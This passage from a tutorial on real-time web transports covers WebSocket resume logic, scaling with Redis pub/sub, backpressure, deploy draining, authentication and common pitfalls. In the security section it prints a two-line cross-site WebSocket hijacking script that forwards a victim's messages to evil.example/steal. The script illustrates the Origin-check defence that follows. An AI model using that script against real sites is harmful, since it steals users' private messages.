This is exactly what SSE's id: and Last-Event-ID give you (§03), only built by hand. On the client, the sequence number does three jobs: it skips duplicates (seq <= lastSeq), detects gaps (seq > lastSeq + 1) and tells the server where to resume. Messages without a seq — heartbeats, reset — must be filtered out before those checks, as the stepper showed.
The other direction: what the client sent while offline
If the user hits “send” while the connection is down, ws.send() on a closed socket silently throws the message away. (While the socket is still connecting, send() throws an InvalidStateError instead.) Keep unsent messages in a local outbox and send them after reconnecting.
But what if the connection dropped right after a send — did the server get it or not? The client can't know, so it resends, and the server might store the message twice. Give each outgoing message a client-generated id (crypto.randomUUID()) and have the server ignore ids it has already seen. That's the same Idempotency key idea used for safe retries of payments.
Scaling: many servers, slow clients, deploys
An ordinary HTTP API is easy to scale: put a Load balancer in front, add servers, and any server can answer any request. Long-lived connections break that simplicity, because each user is attached to one specific server for as long as the connection lasts.
Problem 1: the message is on the wrong server
The chat server from §06 broadcasts by looping over its own connections. That's fine with one server. Run three, and the load balancer spreads users across them:
The standard fix is a Publish/subscribe layer between the servers, usually a Message bus / broker such as Redis or NATS. Every server subscribes to the channels for the rooms it has users in. When a message arrives on any server, that server publishes it to the broker instead of looping over its local sockets. The broker hands it to every subscribed server, and each one does the Fan-out to its own sockets. It's the Observer pattern, stretched across machines.
import { createClient } from "redis"; // npm install redis
const pub = createClient({ url: process.env.REDIS_URL });
const sub = pub.duplicate(); // a subscribed connection can't run other commands
await Promise.all([pub.connect(), sub.connect()]);
// Every server subscribes, and relays whatever arrives to ITS OWN sockets.
await sub.subscribe("room:general", (message) => {
for (const client of wss.clients) {
if (client.readyState === WebSocket.OPEN) client.send(message);
}
});
wss.on("connection", (ws) => {
ws.on("error", console.error);
ws.on("message", (data) => {
pub.publish("room:general", data.toString()) // ← instead of looping over wss.clients
.catch(console.error);
});
});What about sticky sessions?
Sticky sessions make the load balancer send the same user to the same server every time. They don't solve fan-out: the people in a chat room are still spread across servers. A WebSocket is already “sticky” for its whole life, since it's one connection.
Where you do need stickiness is with long polling and with libraries that start on long polling (like Socket.IO). There, one logical session is a series of separate HTTP requests, and if the server keeps session state in memory, every request must come back to it. If you can, keep that state in a shared store instead, so that any server can serve any request. The Load balancing topic covers sticky sessions in depth, and Long-lived connections explains why connection-holding servers stay unevenly loaded after a scale-up.
Problem 2: the client that can't keep up
Some clients read slower than you send: a phone on bad Wi-Fi, a browser tab running heavy JavaScript. Every message you send them waits in a buffer on your server — in Node, in the ws library's queue (client.bufferedAmount); in Go, in the outbox channel from §06. The question is what to do when that buffer grows.
This is Backpressure, and the Worker pools topic covers the general idea. The rule is the same: every queue needs a limit, and every limit needs a policy. For real-time connections, the usual policies are:
- Disconnect clients that fall too far behind, and let them catch up through the resume logic (§08). This is the right choice for chat: no silent loss, bounded memory. The Go hub in §06 and the Go SSE hub in §03 both do this when a client's buffer is full.
- Drop old messages when only the latest value matters: stock prices, positions in a game, “Alice is typing…”. Even better, merge them — send only the latest price per symbol.
- Never buffer without a limit. One slow client is harmless; ten thousand of them will crash your server, usually during your busiest hour.
In Node, check the buffer before sending:
const MAX_BUFFERED = 1_000_000; // 1 MB waiting for one client is too much
function sendTo(client, data) {
if (client.bufferedAmount > MAX_BUFFERED) {
client.close(1008, "too slow"); // policy violation; it will reconnect and resync
return;
}
client.send(data);
}The same property exists in the browser, for the opposite direction. ws.send() there never blocks and gives no “slow down” signal; it just adds to bufferedAmount. A client uploading a big file over a WebSocket should wait while ws.bufferedAmount is high. Otherwise it queues the file in memory, and if the browser's buffer runs out, the browser closes the connection.
Problem 3: how many connections fit on one server?
Idle connections use almost no CPU, but they do use memory and file descriptors.
- Memory. Each connection holds kernel Socket buffers, TLS state, the library's read and write buffers, and in Go two goroutines (each starting with a small stack). Depending on the library and settings, that's very roughly 20–100 KB per idle connection — measure your own. 100,000 connections × 50 KB ≈ 5 GB. Compression (
permessage-deflate) and large outboxes push it up. - File descriptors. Every connection is one File descriptor in your process. Many Linux systems still default to a soft limit of 1,024 open files per process (
ulimit -n). Past that, accepting fails withEMFILE: too many open files. Both runtimes raise their soft limit at startup (Go since 1.19, to just under the hard limit; Node, checked on 22, to the hard limit), so the number that really caps you is the hard limit: raise it in your service configuration (see File Descriptors). - The proxy pays too. A load balancer or reverse proxy holds two connections per client (one each side) and has the same limits. Check its connection limits before launch day.
Problem 4: deploying without a stampede
A normal deploy stops old servers and starts new ones. For an HTTP API, the old server finishes its in-flight requests in a second or two (see graceful shutdown). A long-lived connection never “finishes”, so you have to end it yourself — and not all at once, or you've built §08's reconnect storm yourself.
When it's time to stop, the platform sends your process the signal SIGTERM (“please shut down”), and kills it outright a while later if it's still running. Draining means, in that window: stop accepting new connections, then close the existing ones at random moments spread over a window (say 20–30 s), with code 1012 “service restart” or 1001 “going away”. Clients reconnect with their own jitter, the load balancer sends them to the new servers, and they resume from their last sequence number.
process.once("SIGTERM", () => { // the "please shut down" signal
server.close(() => process.exit(0)); // stop accepting; exit once every connection is gone
const WINDOW_MS = 25_000;
for (const ws of wss.clients) {
// close each socket at a random moment in the window ←
setTimeout(() => ws.close(1012, "server restarting"), Math.random() * WINDOW_MS);
}
});Two orchestration details complete the picture. First, the load balancer must stop sending new connections to a draining server before you start closing old ones — mark it unhealthy first — in Kubernetes, a failing readiness probe or a short preStop hook sleep. Second, the platform's shutdown grace period must be longer than your drain window; Kubernetes gives 30 s by default before it kills the process.
Security: auth, Origin and abuse
A WebSocket skips much of what protects a normal API. Your HTTP middleware usually doesn't run per message, there's no CORS check, and the connection may stay open for hours after the user logs out. Here's what to do instead.
Authenticating: three options
The browser WebSocket API can't add custom headers, so you can't send an Authorization: Bearer … header carrying a token such as a JWT, like you would with fetch. What's left:
| Option | How | Watch out for |
|---|---|---|
| Cookies | The session Cookie rides along on the handshake automatically. | Requires an Origin check (next section), or any website can use it. |
| Token in the URL | new WebSocket("wss://…/chat?token=eyJ…") | URLs end up in server access logs, proxy logs and error trackers. A long-lived token there is a leaked token. |
| Short-lived ticket | Fetch a one-time Connection ticket with a normal authenticated call, then put that in the URL. | The server must make it single-use and expire it within seconds. |
The ticket flow looks like this:
// 1. A normal API call — your usual auth (cookie or Authorization header) applies.
const res = await fetch("/api/ws-ticket", { method: "POST", headers: { Authorization: `Bearer ${token}` } });
const { ticket } = await res.json(); // e.g. "k3J9…", valid for 30 s, usable once
// 2. Open the socket with the ticket. If it leaks into a log, it's already spent.
const ws = new WebSocket(`wss://chat.example.com/chat?ticket=${encodeURIComponent(ticket)}`);encodeURIComponent makes the ticket safe to put in a URL, escaping characters like + and /.
Whichever you choose, reject a bad login before upgrading, with a normal HTTP error. One surprise: the browser doesn't tell JavaScript the status code. A refused handshake shows up only as an error event followed by close with code 1006. If clients need to tell “not logged in” apart from “network trouble”, accept the connection and then close it with your own code, like 4401, which the client can read in e.code.
Cross-site WebSocket hijacking
Here's the attack. A user is logged in to chat.example.com, then visits evil.example. A script on the evil page runs:
const ws = new WebSocket("wss://chat.example.com/chat"); // the browser attaches chat.example.com's cookies!
ws.onmessage = (e) => fetch("https://evil.example/steal", { method: "POST", body: e.data });Normal fetch calls across sites are restricted by the browser's same-origin rules and CORS. WebSockets aren't. Any page can open a WebSocket to any server, and if your server authenticates by cookie alone, the evil page now reads the victim's private messages and can send messages as them. This is Cross-site WebSocket hijacking.
The defence is the Origin header. The browser sets it on every handshake to the Origin of the page that opened the socket, and page scripts can't change it. Your server must check it against a list of your own sites:
const wss = new WebSocketServer({ noServer: true, maxPayload: 64 * 1024 }); // we handle upgrades
const ALLOWED_ORIGINS = new Set(["https://chat.example.com"]);
server.on("upgrade", async (req, socket, head) => {
socket.on("error", console.error);
const refuse = (status) => socket.end(`HTTP/1.1 ${status}\r\nConnection: close\r\n\r\n`);
try {
if (new URL(req.url, "http://localhost").pathname !== "/chat") return refuse("404 Not Found");
if (!ALLOWED_ORIGINS.has(req.headers.origin)) return refuse("403 Forbidden"); // ← CSWSH defence
const user = await userFromCookie(req.headers.cookie); // your session lookup
if (!user) return refuse("401 Unauthorized");
wss.handleUpgrade(req, socket, head, (ws) => {
ws.user = user; // identity comes from the handshake, never from messages
wss.emit("connection", ws, req);
});
} catch (err) {
console.error(err);
refuse("500 Internal Server Error"); // never leave the socket hanging
}
});We tested both against forged requests. The Node server answers 403 to Origin: https://evil.example, 401 to a missing session, 404 to another path and 500 when the session lookup throws, and coder/websocket refuses it with request Origin "evil.example" is not authorized for Host "localhost:8090". Remember from §06 that Node's ws doesn't check Origin unless you do, while coder/websocket and gorilla/websocket check by default.
Long connections outlive logins
A REST API checks the session on every request, so logging out takes effect immediately. A WebSocket authenticated once at the handshake keeps working after the user logs out, has their access revoked or their token expires — possibly for days.
- When a session ends, close its connections: keep a map from user id to connections, and close them with
4401(or1008) on logout or revocation. - Give connections a maximum lifetime tied to the token's expiry. Close them when it passes; the client reconnects with fresh credentials.
- Authorize every message, not just the connection. “Alice is logged in” doesn't mean she may post to room 42. Check membership when she sends, using the identity attached at the handshake, never a
userIdfield inside the message.
Abuse: size, rate, count
An open socket lets a client send as much as it likes, as fast as it likes:
- Cap message size:
maxPayloadinws,SetReadLimitincoder/websocket(§06). Without a cap, one client can make your server allocate hundreds of megabytes for a single message. - Rate-limit messages per connection, for example with a token bucket (Worker pools: rate limiting). On abuse, close with
1008. - Limit connections per user and per IP. Each one costs memory and a file descriptor (§09).
- Validate and escape content. A chat message is user input. Parse it carefully, reject unknown
types, and display it withtextContent, neverinnerHTML, or one message can run script in everyone's browser (cross-site scripting). - Always
wss://. Without TLS, anyone on the same café Wi-Fi can read and change the traffic, including cookies on the handshake.
Choosing the right tool
Developers often reach for WebSockets by default. But a WebSocket brings its own protocol to design, its own reconnect logic, and connections that bypass your HTTP tooling. If the browser mostly listens, SSE gives you most of the benefit for much less work.
The decision table
| Short polling | Long polling | SSE | WebSocket | |
|---|---|---|---|---|
| Delay for news | up to one interval | ~one network trip | ~one network trip | ~one network trip |
| Direction | client asks | client asks | server → client | both ways |
| Cost per message | a request, even when idle | a full request | a few bytes | 2–6 bytes |
| Reconnect + resume | built in (each poll is new) | your loop | built in (Last-Event-ID) | all yours |
| Binary data | yes | yes | no (text only) | yes |
| Works through strict proxies | always | always | usually | usually, with wss:// |
| Uses your HTTP stack (auth middleware, logging, HTTP/2) | yes | yes | yes | handshake only |
| Typical uses | job status every 30 s, rarely-changing data | fallback transport | notifications, feeds, dashboards, AI token streams, logs | chat, multiplayer games, collaborative editing, trading UIs |
Questions to ask, in order:
- How fresh must it be? If a 30-second delay is fine (a report finishing, a daily price), poll. It's stateless, cacheable, and nothing can go stale silently.
- Who talks? If the server pushes and the client occasionally sends (most dashboards, notifications, even a lot of chat), use SSE plus normal
POSTrequests for the sends. - Does the client send often, or need very low delay both ways? Cursor positions, game input, typing in a shared document: WebSocket.
- Is there a hostile network in the way? Keep long polling as a fallback, or use a library that does it for you.
Newer and neighbouring options
- HTTP/2 and HTTP/3. SSE simply works over both, and benefits most: many streams share one connection, which removes the six-connection limit from §03. WebSockets can also run over HTTP/2 and HTTP/3 (RFC 8441 and RFC 9220), but support across browsers, proxies and servers is uneven, so most WebSockets today still use their own HTTP/1.1-style connection. See the HTTP topic.
- WebTransport. A browser API built on HTTP/3 and QUIC that gives you several independent streams and unreliable datagrams (single messages that may be lost, never retried) on one connection. One lost packet doesn't hold up the other streams (no Head-of-line blocking), which matters for games, live video and voice. It's newer, and browser and server support is still uneven — check current support before betting on it.
- Web Push. For notifications when your page isn't open, none of the above work — there's no page to hold a connection. The browser's Push API, delivered to a Service worker, is the tool for that.
- Webhooks. Server to server, the simplest “push” is the other server calling an HTTP endpoint on yours when something happens. No long-lived connections at all.
- gRPC streaming. Between your own backend services, gRPC has streams built in, with typed messages and deadlines — see gRPC.
Pitfalls gallery
“It works on localhost” — then drops after a quiet minute
No heartbeat, so a proxy or load balancer with a 60-second Idle timeout cuts quiet connections, and clients see code 1006. The same missing heartbeat means your server keeps connections to phones that vanished. Fix: ping every 20–30 s from the server, and run a watchdog in the client that reconnects after ~45 s of silence (§07). Test through your real proxy.
Treating readyState === OPEN as proof the line works
readyState only changes when the browser learns the connection closed. After a silent network failure it can say OPEN for minutes while nothing arrives. Only recent traffic proves a connection is alive: that's what the watchdog in §07 checks.
Reconnecting on a fixed timer
setTimeout(connect, 1000) in onclose makes every client that dropped together reconnect together — after every deploy and every network blip. Fix: exponential backoff with jitter, a cap, and no retry at all for “you're not allowed” closes (§08).
ws.onclose = () => setTimeout(connect, 1000);ws.onclose = (e) => {
if (e.code === 4401) return showLogin(); // retrying can't help
const ceiling = Math.min(30_000, 1000 * 2 ** attempt++);
setTimeout(connect, Math.random() * ceiling); // full jitter
};Reconnecting without resuming
The client reconnects and quietly shows only new messages. Anything sent while it was away is gone, and nobody notices until a user does. Fix: a per-room Sequence number, server-side history, and since=<lastSeq> (or SSE's Last-Event-ID) on every reconnect. If the history doesn't go back far enough, tell the client to reload instead (§08).
Broadcasting to “all clients” — on one server
for (const c of wss.clients) means this process's clients. It passes every test with one server and silently loses messages when you scale to two. Fix: publish through a broker and let each server deliver to its own sockets (§09).
One slow client eats the server's memory
send() in Node and in browsers never waits. It queues. A client that reads slower than you send makes that queue grow forever. Fix: a bounded outbox per connection, and a policy for when it's full — disconnect (then resume) for chat, drop or merge old values for live prices (§09).
Two goroutines writing to one connection
With gorilla/websocket, two goroutines calling WriteMessage on the same connection at once is a Data race: frames get interleaved and the client sees garbage or a protocol error. In Node, the equivalent crash is a missing ws.on("error", …) listener: the first socket error kills the whole process. Fix: one write loop per connection fed by a channel (§06); always attach an error listener.
Cookie auth without an Origin check
Any website can open a WebSocket to your server, and the browser attaches your users' cookies. Without an Origin check, that's Cross-site WebSocket hijacking. Node's ws doesn't check Origin for you. Fix: compare Origin against an allowlist before upgrading (§10).
Long-lived tokens in the WebSocket URL
new WebSocket("wss://…?token=" + jwt) — with a long-lived JWT — writes the token into access logs, proxy logs and error reports. Fix: exchange it for a single-use Connection ticket that expires in seconds, or use cookies plus an Origin check (§10).
A “live” stream that arrives in clumps
SSE events arrive late and several at a time because something buffers: a missing flush, nginx's proxy_buffering, or compression middleware. Fix: flush after every event (rc.Flush() in Go), send X-Accel-Buffering: no or turn proxy buffering off for the route, and exclude text/event-stream from compression (§03).
The server's WriteTimeout cuts every stream
A Go http.Server with WriteTimeout: 10 * time.Second ends every response after 10 s — including your SSE streams and 25-second long polls. Clients reconnect over and over, every 10 s. Fix: http.NewResponseController(w).SetWriteDeadline(…) per streaming request: zero for “no deadline”, or a time just past your poll timeout (§02, §03).
Seven tabs, and the seventh never loads
Over HTTP/1.1, each EventSource uses one of the browser's ~6 connections per host, shared by every tab. Fix: serve SSE over HTTP/2, or share one connection between tabs (for example through a SharedWorker or BroadcastChannel) (§03).
Deploys that hang up on everyone at once
The old server exits and every connection drops in the same instant — a reconnect storm you schedule yourself. In Go, srv.Shutdown doesn't even see hijacked WebSocket connections, and it waits for SSE streams that never end. Fix: stop new connections first, then drain: close existing ones with code 1012 at random moments over 20–30 s (§09).
Check yourself
Predict the answer before you click. Q1 and Q7 are covered in §03, Q2 in §07, Q3 in §08, Q4 and Q6 in §09, and Q5 in §05.
ws.onclose = () => {
setTimeout(connect, 1000); // try again in 1 s
};for (const chunk of hugeFile) { // 1,000 chunks of 1 MB
ws.send(chunk);
}// WebSocket handler uses websocket.Accept(w, r, nil)
err := srv.Shutdown(ctx)Cheat sheet
text/event-stream response. id: + automatic reconnect + Last-Event-ID = resume for free. Server → client only, text only. Use HTTP/2.Upgrade: websocket → 101, then frames both ways with 2–14 bytes of header. Browser frames are masked. No reconnect built in.random(0, min(cap, base × 2^attempt)). Reset only after a healthy connection. Don't retry auth failures.since=N; skip seq ≤ N, detect gaps, reload if history is too short.bufferedAmount, outbox channel). Full → disconnect and resume, or drop/merge old values.wss://.| Close code | Meaning |
|---|---|
| 1000 | Normal — someone called close() |
| 1001 | Going away (page left, server stopping) |
| 1006 | Dropped with no close frame (never sent; reported locally) |
| 1008 | Policy violation (auth, abuse, too slow) |
| 1009 | Message too big |
| 1011 / 1012 | Server error / service restart |
| 4000–4999 | Yours to define (e.g. 4401 “log in again”) |
| I want to… | Go | JavaScript |
|---|---|---|
| Long-poll handler | select on a “changed” channel, a 25 s timer and r.Context().Done() | Client: while (true) { await fetch(…) } with AbortSignal.timeout |
| SSE server | rc := http.NewResponseController(w); write id:/data: lines; rc.Flush(); rc.SetWriteDeadline(time.Time{}) | res.writeHead(200, {"Content-Type": "text/event-stream"}); res.write(…) |
| SSE client | — | new EventSource(url); onmessage; reconnects by itself |
| WebSocket server | websocket.Accept(w, r, opts) (coder) · one reader + one writer goroutine | new WebSocketServer({ server, maxPayload }) (ws package) |
| WebSocket client | websocket.Dial(ctx, url, nil) | new WebSocket(url) (browsers, Node 22+) |
| Heartbeat | conn.Ping(ctx) on a ticker (needs a running read loop) | ws.ping() + 'pong' → isAlive; terminate() the silent |
| Limit message size | conn.SetReadLimit(n) | maxPayload: n |
| Check Origin | default in coder/gorilla; OriginPatterns for extras | your upgrade handler, before handleUpgrade |
| Drain on deploy | track conns, Close(StatusServiceRestart, …) at random times | server.close(); ws.close(1012) after Math.random() * window |